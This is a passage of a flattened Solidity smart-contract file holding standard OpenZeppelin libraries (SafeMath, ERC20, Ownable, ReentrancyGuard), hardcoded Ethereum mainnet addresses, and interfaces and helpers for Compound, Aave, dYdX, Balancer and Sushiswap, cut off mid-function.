* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/network/$.sol
pragma solidity ^0.6.0;
/**
* @dev This library is provided for conveniece. It is the single source for
* the current network and all related hardcoded contract addresses. It
* also provide useful definitions for debuging faultless code via events.
*/
library $
{
address constant GRO = 0x09e64c2B61a5f1690Ee6fbeD9baf5D6990F8dFd0;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant cDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address constant cUSDC = 0x39AA39c021dfbaE8faC545936693aC917d5E7563;
address constant cETH = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
address constant COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
address constant Aave_AAVE_LENDING_POOL = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119;
address constant Aave_AAVE_LENDING_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3;
address constant Balancer_FACTORY = 0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd;
address constant Compound_COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
address constant Dydx_SOLO_MARGIN = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
address constant Sushiswap_ROUTER02 = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
}
// File: contracts/interop/WrappedEther.sol
pragma solidity ^0.6.0;
interface WETH is IERC20
{
function deposit() external payable;
function withdraw(uint256 _amount) external;
}
// File: contracts/interop/UniswapV2.sol
pragma solidity ^0.6.0;
interface Router01
{
function WETH() external pure returns (address _token);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountsOut(uint256 _amountIn, address[] calldata _path) external view returns (uint[] memory _amounts);
function getAmountsIn(uint256 _amountOut, address[] calldata _path) external view returns (uint[] memory _amounts);
}
interface Router02 is Router01
{
}
// File: contracts/interop/Aave.sol
pragma solidity ^0.6.0;
interface LendingPoolAddressesProvider
{
function getLendingPool() external view returns (address _pool);
function getLendingPoolCore() external view returns (address payable _lendingPoolCore);
}
interface LendingPool
{
function getReserveData(address _reserve) external view returns (uint256 _totalLiquidity, uint256 _availableLiquidity, uint256 _totalBorrowsStable, uint256 _totalBorrowsVariable, uint256 _liquidityRate, uint256 _variableBorrowRate, uint256 _stableBorrowRate, uint256 _averageStableBorrowRate, uint256 _utilizationRate, uint256 _liquidityIndex, uint256 _variableBorrowIndex, address _aTokenAddress, uint40 _lastUpdateTimestamp);
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes calldata _params) external;
}
interface FlashLoanReceiver
{
function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external;
}
// File: contracts/interop/Dydx.sol
pragma solidity ^0.6.0;
interface SoloMargin
{
function getMarketTokenAddress(uint256 _marketId) external view returns (address _token);
function getNumMarkets() external view returns (uint256 _numMarkets);
function operate(Account.Info[] memory _accounts, Actions.ActionArgs[] memory _actions) external;
}
interface ICallee
{
function callFunction(address _sender, Account.Info memory _accountInfo, bytes memory _data) external;
}
library Account
{
struct Info {
address owner;
uint256 number;
}
}
library Actions
{
enum ActionType { Deposit, Withdraw, Transfer, Buy, Sell, Trade, Liquidate, Vaporize, Call }
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
}
library Types
{
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
}
// File: contracts/interop/Balancer.sol
pragma solidity ^0.6.0;
interface BFactory
{
function newBPool() external returns (address _pool);
}
interface BPool is IERC20
{
function getFinalTokens() external view returns (address[] memory _tokens);
function getBalance(address _token) external view returns (uint256 _balance);
function setSwapFee(uint256 _swapFee) external;
function finalize() external;
function bind(address _token, uint256 _balance, uint256 _denorm) external;
function exitPool(uint256 _poolAmountIn, uint256[] calldata _minAmountsOut) external;
function joinswapExternAmountIn(address _tokenIn, uint256 _tokenAmountIn, uint256 _minPoolAmountOut) external returns (uint256 _poolAmountOut);
}
// File: contracts/interop/Compound.sol
pragma solidity ^0.6.0;
interface Comptroller
{
function oracle() external view returns (address _oracle);
function enterMarkets(address[] calldata _ctokens) external returns (uint256[] memory _errorCodes);
function markets(address _ctoken) external view returns (bool _isListed, uint256 _collateralFactorMantissa);
function getAccountLiquidity(address _account) external view returns (uint256 _error, uint256 _liquidity, uint256 _shortfall);
}
interface PriceOracle
{
function getUnderlyingPrice(address _ctoken) external view returns (uint256 _price);
}
interface CToken is IERC20
{
function underlying() external view returns (address _token);
function exchangeRateStored() external view returns (uint256 _exchangeRate);
function borrowBalanceStored(address _account) external view returns (uint256 _borrowBalance);
function exchangeRateCurrent() external returns (uint256 _exchangeRate);
function getCash() external view returns (uint256 _cash);
function borrowBalanceCurrent(address _account) external returns (uint256 _borrowBalance);
function balanceOfUnderlying(address _owner) external returns (uint256 _underlyingBalance);
function mint() external payable;
function mint(uint256 _mintAmount) external returns (uint256 _errorCode);
function repayBorrow() external payable;
function repayBorrow(uint256 _repayAmount) external returns (uint256 _errorCode);
function redeemUnderlying(uint256 _redeemAmount) external returns (uint256 _errorCode);
function borrow(uint256 _borrowAmount) external returns (uint256 _errorCode);
}
// File: contracts/modules/Math.sol
pragma solidity ^0.6.0;
library Math
{
function _min(uint256 _amount1, uint256 _amount2) internal pure returns (uint256 _minAmount)
{
return _amount1 < _amount2 ? _amount1 : _amount2;
}
function _max(uint256 _amount1, uint256 _amount2) internal pure returns (uint256 _maxAmount)
{
return _amount1 > _amount2 ? _amount1 : _amount2;
}
}
// File: contracts/modules/Wrapping.sol
pragma solidity ^0.6.0;
library Wrapping
{
function _wrap(uint256 _amount) internal returns (bool _success)
{
try WETH($.WETH).deposit{value: _amount}() {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _unwrap(uint256 _amount) internal returns (bool _success)
{
try WETH($.WETH).withdraw(_amount) {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _safeWrap(uint256 _amount) internal
{
require(_wrap(_amount), "wrap failed");
}
function _safeUnwrap(uint256 _amount) internal
{
require(_unwrap(_amount), "unwrap failed");
}
}
// File: contracts/modules/Transfers.sol
pragma solidity ^0.6.0;
library Transfers
{
using SafeERC20 for IERC20;
function _getBalance(address _token) internal view returns (uint256 _balance)
{
return IERC20(_token).balanceOf(address(this));
}
function _approveFunds(address _token, address _to, uint256 _amount) internal
{
uint256 _allowance = IERC20(_token).allowance(address(this), _to);
if (_allowance > _amount) {
IERC20(_token).safeDecreaseAllowance(_to, _allowance - _amount);
}
else
if (_allowance < _amount) {
IERC20(_token).safeIncreaseAllowance(_to, _amount - _allowance);
}
}
function _pullFunds(address _token, address _from, uint256 _amount) internal
{
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
function _pushFunds(address _token, address _to, uint256 _amount) internal
{
IERC20(_token).safeTransfer(_to, _amount);
}
}
// File: contracts/modules/SushiswapExchangeAbstraction.sol
pragma solidity ^0.6.0;
library SushiswapExchangeAbstraction
{
function _calcConversionOutputFromInput(address _from, address _to, uint256 _inputAmount) internal view returns (uint256 _outputAmount)
{
address _router = $.Sushiswap_ROUTER02;
address _WETH = Router02(_router).WETH();
address[] memory _path = _buildPath(_from, _WETH, _to);
